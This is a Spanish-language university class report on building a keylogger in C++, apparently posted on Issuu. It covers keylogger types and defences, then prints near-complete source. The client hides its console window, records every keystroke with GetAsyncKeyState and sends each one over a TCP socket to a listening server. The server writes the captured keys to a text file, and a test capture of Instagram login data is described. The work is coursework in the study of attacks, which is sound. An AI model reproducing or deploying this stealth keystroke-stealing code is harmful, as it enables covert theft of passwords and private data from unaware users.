Keylogger

Page 1

Universidad Tecnológica de León Ingeniería en Redes Inteligentes y Ciberseguridad

Asignatura: Automatización de Infraestructura Digital I

Profesor: José Luis Alejandro Hernández Ramírez

Título del trabajo: Keylogger

Presenta: Fátima Abigail Porras Noriega

Matrícula: 18002125

Grupo: IRIC 901

León, Guanajuato. A 21 de agosto de 2021


INTRODUCCIÓN Un keylogger, puede ser un software o dispositivo que se encarga de registrar y almacenar todas las pulsaciones del teclado que un usuario realiza en una computadora o dispositivo móvil a medida que escribe. La información obtenida por un keylogger puede ser almacenada en un archivo de texto o en la memoria de la computadora, para luego ser enviada hacia el servidor de un atacante de diferentes maneras. Los keyloggers han ido variando a lo largo del tiempo, sumando a su a funcionalidad básica de las pulsaciones de teclado la capacidad de controlar la cámara del equipo de la víctima, realizar capturas de pantalla, obtener la información del clipboard o portapapeles (utilidad que permite almacenar temporalmente en la memoria RAM pasajes de texto cuando utilizamos las funciones de copiar y pegar), ganar persistencia en el equipo, entre otras opciones. Algunos keyloggers también cuentan con la capacidad de grabar las llamadas de voz y controlar el micrófono del dispositivo. Los keyloggers son comúnmente utilizados por los cibercriminales para obtener credenciales de cuentas validas, como las del correo electrónico, la de la cuenta bancaria, o los datos de la tarjeta de crédito, para luego realizar otro tipo de ataques o acciones fraudulentas. Un usuario puede verse afectado por un keylogger de distintas maneras. Algunas de las más comunes son a través de correos de phishing que incluyen un adjunto que contiene la amenaza, mediante la descarga un software en algún sitio web de dudosa reputación al que le fue embebido el keylogger, puede estar presente en un sitio web comprometido (javascsript) o en un dispositivo USB, entre otras. Si bien es cierto que la actividad que realiza un keylogger es maliciosa y atenta contra la privacidad de los individuos, existen usos legítimos que son permitidos en algunos países (debido a la falta de una ley que los prohíba). Por ejemplo, para monitorear la exposición de nuestros hijos en Internet o una empresa para realizar un seguimiento de sus empleados. Lo cierto es que, si no se tiene el consentimiento de la persona, esto puede terminar siendo una violación a la privacidad que, dependiendo de las leyes que se apliquen en cada país, podría derivar en un serio problema legal. Cuando no sabes que todo lo que escribes en el teclado de la computadora se está registrando, es posible que sin quererlo reveles contraseñas, números de tarjeta de crédito,

comunicaciones, números

de

cuentas

corrientes y otra información confidencial a terceros. Los criminales pueden explotar esta información y acceder a tus cuentas antes de que siquiera sepas que tu información confidencial se ha puesto en peligro y es por ello por lo que los keyloggers se convierten en una gran amenaza. Dada la importancia o el gran riesgo que un keylogger representa para cualquier usuario, en el presente informe se explicará el proceso que se llevó a cabo para desarrollar un keylogger con el lenguaje de programación C++ de modo que la información que este vaya obteniendo pueda ir siendo almacenada en un archivo txt para luego ser enviada hacia el servidor.


DESARROLLO DEL KEYLOGGE R ¿Cómo funcionan los keyloggers? Los keyloggers realizan un seguimiento y registran cada tecla que se pulsa en una computadora, a menudo sin el permiso ni el conocimiento del usuario. Un keylogger puede estar basado en hardware o software, y se puede usar como herramienta lícita de control de TI, tanto profesional como personal. Sin embargo, los keyloggers también se pueden utilizar con fines delictivos. Por regla general, los keyloggers son un spyware malicioso que se usa para capturar información confidencial, como contraseñas o información financiera que posteriormente se envía a terceros para su explotación con fines delictivos. Existen dos tipos de keyloggers, uno a nivel de software y otro de hardware. Un keylogger de software es un programa que se instala en un dispositivo para, tal como mencionamos anteriormente, monitorear la actividad realizada en el dispositivo de la víctima. A su vez, los keyloggers de software pueden ser subcategorizados en algunas de las siguientes categorías: •

Kernel: este tipo de keyloggers residen a nivel del kernel de la computadora, escondidos dentro del sistema operativo, haciéndolos más difícil de ser detectados; en especial cuando hablamos de aplicaciones que funcionan a nivel usuario en la computadora.

API: son aquellos que utilizan funciones de las API de Windows para registrar toda la actividad realizada sobre el teclado.

Javascript: En este tipo de keyloggers se inyecta código javascript sobre una página web, por ejemplo, mediante un tipo de ataque conocido como Cross-Site Scripting (XSS), y puede estar a la escucha de eventos, ya sea mediante la función addEventListener() o también utilizando “document.onkeypress”, entre otros.

Inyección en Memoria: estos modifican las tablas de memoria que están vinculadas con las llamadas a funciones del sistema y los navegadores de Internet. Al hacer este “arreglo” o inyección directa sobre la memoria, el programa podría evadir el control de cuentas de usuario de Windows (Windows UAC).

Por otro lado, los keylogger basados en hardware no dependen de ningún software instalado sobre el sistema operativo para ejecutarse, ya que están a nivel hardware en la máquina, algunas subcategorías de estos pueden ser: •

Keylogger firmware: la BIOS de la computadora puede ser modificada para registrar los eventos mientras son procesados. El software para cargar en la BIOS debe ser creado especialmente para el hardware sobre el cual va a ejecutarse.

Keyboard hardware: es un dispositivo que se conecta entre el teclado y algún puerto de entrada en la computadora para registrar los eventos.

Wireless keyboard sniffers: obtiene y guarda los paquetes que son enviados entre el teclado y el receptor. Es posible que la información de los paquetes vaya cifrada por motivos de seguridad.


Recomendaciones de seguridad Un keylogger se caracteriza, entre tantas cosas, por ocultarse de manera efectiva dentro del dispositivo de la víctima, lo cual puede dificultar su detección. Incluso pueden reinstalarse en caso ser eliminados. Pero esto no significa que no puedan detectarse y eliminarse de manera definitiva. Por ende, a continuación enumeramos algunas recomendaciones para estar protegidos contra este tipo de malware: •

Utilizar y mantener actualizada una solución de antivirus.

Utilizar algún gestor de contraseñas seguras como KeePass o ESET Smart Security Premium para versiones hogareñas, evitando escribir la contraseña en los sitios a los que se quiere ingresar.

Implementar el doble factor de autenticación.

Solo instalar programas provenientes de fuentes confiables.

Bloquear la máquina cuando no se esté usando para evitar que otra persona quiera instalar un keylogger en el mismo.

Conociendo esto, el keylogger que se desarrolla a continuación servirá para obtener información que busque o ingrese el usuario que tenga implantado el keylogger, y para esto se utilizará el código ASCII por lo que antes de comenzar a explicar el desarrollo, es necesario conocer acerca de éste. El código ASCII es un estándar para la representación de caracteres en cualquier dispositivo electrónico, haciendo referencia a una codificación fija que asigna a caracteres imprimibles como letras, números y signos de puntuación y a caracteres de control no imprimibles un código concreto, que al pasar por el dispositivo lo traduce y muestra el caracter deseado. Los ordenadores actúan siempre sobre el sistema binario para realizar sus cálculos, por lo que todas las operaciones hechas en ellos se basan en el uso de ceros y unos y ASCII se creó bajo la misma premisa definiendo sus caracteres en 7 bits, es decir, 7 posiciones que muestran un 0 o un 1 y un octavo bit que se reserva para hacer análisis. Las versiones ampliadas basadas en el ASCII emplean dicho bit para incrementar los caracteres existentes a 256.


Para comenzar con la explicación del código que se desarrolló, cabe mencionar en primer lugar las siguientes librerías que se debieron agregar:

#include #include #include #include #include

<iostream> <fstream> <winuser.h> <windows.h> <winsock2.h>

• Iostream es la biblioteca estándar en C++ para poder tener acceso a los dispositivos estándar de entrada y/o salida. Por ejemplo, si en nuestros programas deseamos hacer uso de los objetos cin, cout, cerr y clog se tendrá que incluir (por medio de la directiva #include) el uso de la biblioteca iostream. En la iostream se encuentran definidas las clases ios (misma que es la base para las clases que implementen operaciones de entrada y/o salida de datos), istream (para operaciones de entrada) y ostream (para operaciones de salida). Aparte de las clases mencionadas, en la iostream se encuentra una lista de variables y constantes (atributos) que son accesibles por el usuario a través del operador de ámbito (::). • Fstream es la librería que define las clases necesarias para la utilización de ficheros, que son ifstream, ofstream y fstream. Esta librería será utilizada para poder leer desde o escribir en ficheros (lectura/escritura de datos en unidades de almacenamiento permanente como los disquetes, discos duros, etc.). • Windows.h es el archivo cabecera que contiene las declaraciones de todas las funciones de la biblioteca Windows API, todas las macros utilizadas para las aplicaciones de Windows y todas las estructuras de datos utilizadas en gran cantidad de funciones y subsistemas. • Winuser.h es otra cabecera incluida automáticamente en Windows.h, la cual es para los servicios de usuario. • Winsock2.h es otra cabecera incluida automáticamente en Windows.h para sockets. Esta primera parte del desarrollo del código será la que está como Cliente, por lo que, en primera instancia se debió crear una clase llamada Client, la cual sería la encargada de configurar el servidor en donde se realizaría la conexión para el keylogger y se crearon también algunas variables de conexión:

class Client { public: WSADATA WSAData; SOCKET server; SOCKADDR_IN addr; char buffer[1024]; Client() { cout << "Conectando al servidor..." << endl << endl; WSAStartup(MAKEWORD(2, 0), & WSAData); server = socket(AF_INET, SOCK_STREAM, 6); addr.sin_addr.s_addr = inet_addr("127.0.0.1"); addr.sin_family = AF_INET; addr.sin_port = htons(5555); connect(server, (SOCKADDR * ) & addr, sizeof(addr)); cout << "Conectado al Servidor!" << endl;


} void Enviar(char mensaje) { //cout<<"Escribe el mensaje a enviar: "; this -> buffer[0] = mensaje; send(server, buffer, sizeof(buffer), 0); memset(buffer, 0, sizeof(buffer)); //cout << "Mensaje enviado!" << endl; //cout << this->buffer; } void Recibir() { recv(server, buffer, sizeof(buffer), 0); cout << "El servidor dice: " << buffer << endl; memset(buffer, 0, sizeof(buffer)); } void CerrarSocket() { closesocket(server); WSACleanup(); cout << "Socket cerrado." << endl << endl; } }; Posteriormente, en una clase creada llamada Keylogger se crearon algunas variables que posteriormente servirían para utilizar el operador de resolución de alcance, de forma que diéramos a un elemento como una clase o función un nombre único totalmente calificado en todo el programa:

class KeyLogger { private: int key; public: void principal(); void hide(); }; Es decir, imaginemos que tenemos dos clases A y B y ambas tienen una función que toma cero parámetros y se llama keylogger(). Ambas clases tienen implementaciones diferentes de keylogger() pero ambas son útiles. Sin la resolución de alcance, cuando escribe definiciones de las funciones keylogger(), el compilador vería ambas y no sabría cuál está asociada con la clase A y cuál está asociada con la clase B. De este modo, la siguiente parte del código muestra una clase que permite referenciar (acceder) a un tipo, objeto, función o enumerador, en este caso principal() y hide() de la clase KeyLogger(). En esta primera parte de dicha clase, lo que se hace es un ciclo for que permita, en primer lugar conocer si se está presionando una tecla (con GetAsyncKeyState), para que en ese caso se cree un archivo de texto plano que pueda almacenar los caracteres presionados.


void KeyLogger::principal(){ Client *Cliente = new Client(); for(;;){ _sleep(10); for (key=8; key<=215;key++){ if(GetAsyncKeyState(key)== -32767){//si una tecla se presiono fstream write("c:\\temp\\keyloggers.txt",ios::app); // se crea arc hivo para almacenar caracteres La siguiente parte consiste en validar si existen caracteres especiales en todas las teclas presionadas para que de este modo se puedan empezar a relacionar con el código ASCII. Dentro de esta clase se agregan varias líneas de código que permiten detectar más y más caracteres especiales que no son considerados como letras:

//Se detectan nùmeros y caracteres especiales if (key>=48 && key <= 57){ if(GetAsyncKeyState(VK_SHIFT)){ //Se detectaron caracteres esp eciales switch(key){ case 49: //write << '!'; Cliente->Enviar('!'); break; case 50: //write << '"'; Cliente->Enviar('"'); break; case 51: Cliente->Enviar('#'); //write << '#'; break; case 52: //write << '$'; Cliente->Enviar('$'); break; case 53: //write << '%'; Cliente->Enviar('%'); break; case 54: //write << '&'; Cliente->Enviar('&'); break; case 55: //write << '/'; Cliente->Enviar('/');


break; case 56: //write << '('; Cliente->Enviar('('); break; case 57: //write << ')'; Cliente->Enviar(')'); break; case 48: //write << '='; Cliente->Enviar('#'); break; } }else{ //write << char(key); Cliente->Enviar(char(key)); } } if(key >= 65 && key <= 90 && !GetAsyncKeyState(VK_SHIFT)){ if(key == 81 && GetAsyncKeyState(VK_RMENU)){ //write << '@'; Cliente->Enviar('@'); } else{ key += 32; //write << char(key); Cliente->Enviar(char(key)); } } else if (key >= 65 && key <= 90 && GetAsyncKeyState(VK_SHIFT)) //write << char(key);// se escribe caracter al archivo, convir tiendo el caracter a char Cliente->Enviar(char(key)); if (key == 32 || key == 13){ //write << char(key); Cliente->Enviar(char(key)); } else if (key == 190) Cliente->Enviar('.'); else if (char(key) == '@'){ //write <<char(key); Cliente->Enviar(char(key)); } cout << key; }


} } }; Por otra parte, la otra clase referencia (hide()) ocultará la ventana emergente que se supone debería mostrarse cuando se ejecute el keylogger.

void KeyLogger::hide(){ HWND stealth; AllocConsole(); stealth=FindWindowA("ConsoleWindowClass",NULL); ShowWindow(stealth,0); }; Y hasta el final del código se crea el main() para que el programa llame a la clase KeyLogger() y se ejecuten los métodos creados:

int main(){ KeyLogger key_log; key_log.hide(); key_log.principal(); return 0; } Y ahora, por parte del server, inicialmente se explicarán unos conceptos importantes por tener en cuenta antes de comenzar con el desarrollo del código: Socket. Un socket es conocido como un tipo de software que actúa como un punto final que funciona estableciendo un enlace de comunicación de red bidireccional entre el extremo del servidor y el programa receptor del cliente.[1] También se le conoce como un punto final en un canal de comunicación bidireccional. Estos sockets se realizan y movilizan junto con un conjunto de peticiones de programación que se identifican como llamadas de función, lo que técnicamente se denomina interfaz de programación de aplicaciones (API). Un socket es capaz de simplificar el funcionamiento de un programa porque los programadores ahora sólo tienen que preocuparse de manipular las funciones del socket y esto les permite confiar en el sistema operativo para transportar los mensajes a través de la red correctamente. Un socket es una interfaz para enviar y recibir datos en un puerto específico, mientras que un puerto es un valor numérico asignado a un proceso específico o a una aplicación en el dispositivo.[6] Aunque existe una estrecha relación entre un socket y un puerto, el socket no es realmente un puerto. Cada puerto puede tener una sola toma pasiva esperando las conexiones entrantes y varias tomas activas, cada una de las cuales corresponde a una conexión abierta en el puerto.[1:1] Hoy en día, el zócalo facilita y hace más eficiente la comunicación. Permite


establecer una conexión entre dos procesos diferentes en la misma o diferentes máquinas. En pocas palabras, es una forma de hablar con otra computadora. Socket designa un concepto abstracto por el cual dos programas (posiblemente situados en computadoras distintas) pueden intercambiar cualquier flujo de datos, generalmente de manera fiable y ordenada, por lo que un socket es, como su propio nombre indica, un conector o enchufe. Con él podremos conectarnos a ordenadores remotos o permitir que éstos se conecten al nuestro a través de la red. En realidad un socket no es más que un descriptor de fichero un tanto especial. Recordemos que en UNIX todo es un fichero, así que para enviar y recibir datos por la red, sólo tendremos que escribir y leer en un fichero un poco especial. Tipos de sockets. Los siguientes son diferentes tipos de sockets: • Socket de datagramas: Este es un tipo de zócalo de red que proporciona un punto sin conexión para enviar y recibir paquetes de datos. Cada paquete que se envía desde un socket de datagrama es enrutado y entregado individualmente. También se puede utilizar para enviar y recibir mensajes de difusión. • Sockets de paquetes secuenciados: Sin embargo, esto es similar a una toma de corriente, con la excepción de que se conservan los límites de los registros. Este tipo de socket permite a los usuarios manipular las cabeceras del protocolo de paquetes de secuencia (SPP) o del protocolo de datagramas de Internet (IDP) en un paquete o incluso en un grupo de paquetes. Este zócalo también permite al usuario recibir cabeceras para los paquetes entrantes. • Socket activo: Se trata de una conexión de socket con los sockets activos remotos a través de una conexión de datos abierta. Si esta conexión se cierra, las tomas activas en cada punto también se destruirán. Es utilizado por los clientes que desean iniciar solicitudes de conexión para conectarse. Sin embargo, este zócalo activo también puede transformarse en un zócalo pasivo vinculando un nombre al zócalo con el bind-macro e indicando la voluntad de aceptar conexiones con el listen-macro. • Socket pasivo: Esta toma no está conectada, sino que espera una conexión entrante que generará una nueva toma activa. Esto es usado por los servidores para aceptar peticiones de conexión con el connect-macro. Esta toma pasiva no se puede utilizar para iniciar solicitudes de conexión. Los conceptos de sockets activos y pasivos para sockets streaming no se aplican a los otros tipos de sockets, como el socket datagrama. De este modo, lo siguiente sería mostrar el código creado por el lado del servidor, que si recordamos, al inicio se mencionó que un keylogger puede guardar toda la información recabada en un archivo de texto y bien, poderse almacenar localmente o bien mandarse a un servidor remoto.

#include <iostream> #include <winsock2.h> #include <fstream> using namespace std; class Server{ public: WSADATA WSAData;


SOCKET server, client; SOCKADDR_IN serverAddr, clientAddr; char buffer[1024]; Server() { WSAStartup(MAKEWORD(2,0), &WSAData); //cout << MAKEWORD(2,0); server = socket(AF_INET, SOCK_STREAM, 6); serverAddr.sin_addr.s_addr = INADDR_ANY; serverAddr.sin_family = AF_INET; serverAddr.sin_port = htons(5555); bind(server, (SOCKADDR *)&serverAddr, sizeof(serverAddr)); listen(server, 0); cout << "Escuchando para conexiones entrantes." << endl; int clientAddrSize = sizeof(clientAddr); if((client = accept(server, (SOCKADDR *)&clientAddr, &clientAddrSize)) != INVA LID_SOCKET) { cout << "Cliente conectado!" << endl; } } string Recibir() { recv(client, buffer, sizeof(buffer), 0); //cout << "El cliente dice: " << buffer << endl; string buf = buffer; memset(buffer, 0, sizeof(buffer)); return buf; } void Enviar() { cout<<"Escribe el mensaje a enviar: "; cin>>this->buffer; send(client, buffer, sizeof(buffer), 0); memset(buffer, 0, sizeof(buffer)); cout << "Mensaje enviado!" << endl; } void CerrarSocket() { closesocket(client); cout << "Socket cerrado, cliente desconectado." << endl; }


};

int main() { Server *Servidor = new Server(); char car; while(true) { car = Servidor->Recibir()[0]; ofstream write("c:\\temp\\keylogger.txt",ios::app); write << car; cout <<car; //Servidor->Enviar(); //cout << car; } } Finalmente, para verificar que el keylogger funciona en primer lugar se debió ejecutar el servidor, el cual crearía un archivo llamado servidor.exe, el cual se ejecutaría mediante el cmd.

C:\Users\abiporras\Documents\EthicalHacking> servidor.exe Escuchando para conexiones entrantes.

Posterior a esto, utilizando como ejemplo cualquier sitio en el que se tuviera que ingresa un usuario y contraseña o cualquier tipo de información, en este caso Instagram, se ingresó el user y password de prueba de modo que esta información se almacenaría en el archivo txt llamado keylogger.txt:


CONCLUSIÓN La seguridad informática es, en la actualidad, uno de los temas a los que más se debe prestar atención en el ámbito comercial, en las PYME y en cualquier organismo que procesa información a partir de un ordenador. Así como las nuevas tecnologías otorgan ventajas que revolucionan el mercado, es importante también estar alertas por sus puntos vulnerables, a que pueden causar más de un dolor de cabeza. El Keylogger es un tipo de software que registra todos los movimientos que el teclado realiza, obteniendo así información muy valiosa como contraseñas, datos de acceso, conversaciones y correos electrónicos. Todo ingreso de datos nuevos al sistema informático supone un riesgo que amenaza su integridad. El control es determinante a la hora de preservar la información. Asesorarse con profesionales de mantenimiento informático puede permitir un uso confiable, seguro y correcto de la información. Los Keylogger pueden ingresar al sistema con la introducción de un dispositivo USB infectado, con lo cual no solo ingresamos al ordenador el archivo correspondiente sino el infeccioso. Asimismo, cuando utilizamos software pirata, desconocemos que entre los archivos que descargamos pueden estar presentes estos programas dañinos para el ordenador. Aunque existen motivos para el uso de keyloggers de manera “legal” tales como: control para padres, esposos o esposas celosas para rastrear actividades, por seguridad corporativa, entre otros motivos, hoy en día los keyloggers se usan principalmente para robar información y los elaboradores de virus no cesan en su afán de elaborar nuevos keyloggers con tal propósito y a pesar de las justificaciones del uso de un keylogger mencionadas al principio, no se puede dejar de un lado la violación de privacidad que implica el implementarlo. A diferencia de otros tipos de programas maliciosos, los keyloggers no representan una amenaza para el sistema mismo. Sin embargo, pueden significar una seria amenaza para los usuarios ya que pueden usarse para interceptar contraseñas y otro tipo de información confidencial ingresada a través del teclado. Al finalizar esta práctica puedo concluir que es demasiado importante protegernos de este tipo de ataques ya que aunque muchos desarrolladores de keyloggers comercializan sus productos como software legítimo, la mayoría de los keyloggers pueden ser utilizados para robar información personal de los usuarios y para fines de espionaje político e industrial. Como se puede notar, actualmente los keyloggers son, junto al phishing y a los métodos de ingeniería social ,uno de los métodos más utilizados para cometer fraudes cibernéticos y considero que es por eso por lo que se deben tomar las mejores medidas posibles para protegernos de estos ataques y aunque una protección especial puede detectar que un keylogger está siendo utilizado con propósitos de espionaje, se podrían tomar algunas medidas como las mencionadas al inicio de este informe. La seguridad informática trabaja de manera constante para prevenir inconvenientes y no tener que remediar cuando el organismo ya entró en problemas de vulnerabilidad del manejo de la información. En muchas ocasiones, pueden obtenerse datos que generan mucho daño como claves de acceso bancario, o a tarjetas de crédito, y pueden luego ser vulnerados o comercializada su información. Es por eso que el mantenimiento informático debe ser realizado con periodicidad para así evitar inconvenientes. En el mundo de la tecnología, igual que en el real, prevenir es mejor que curar. Cuantas más protecciones posea el ordenador, mejor desempeño tendrán los mismos y así evitarán inconvenientes futuros.


Turn static files into dynamic content formats.

Create a flipbook
Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.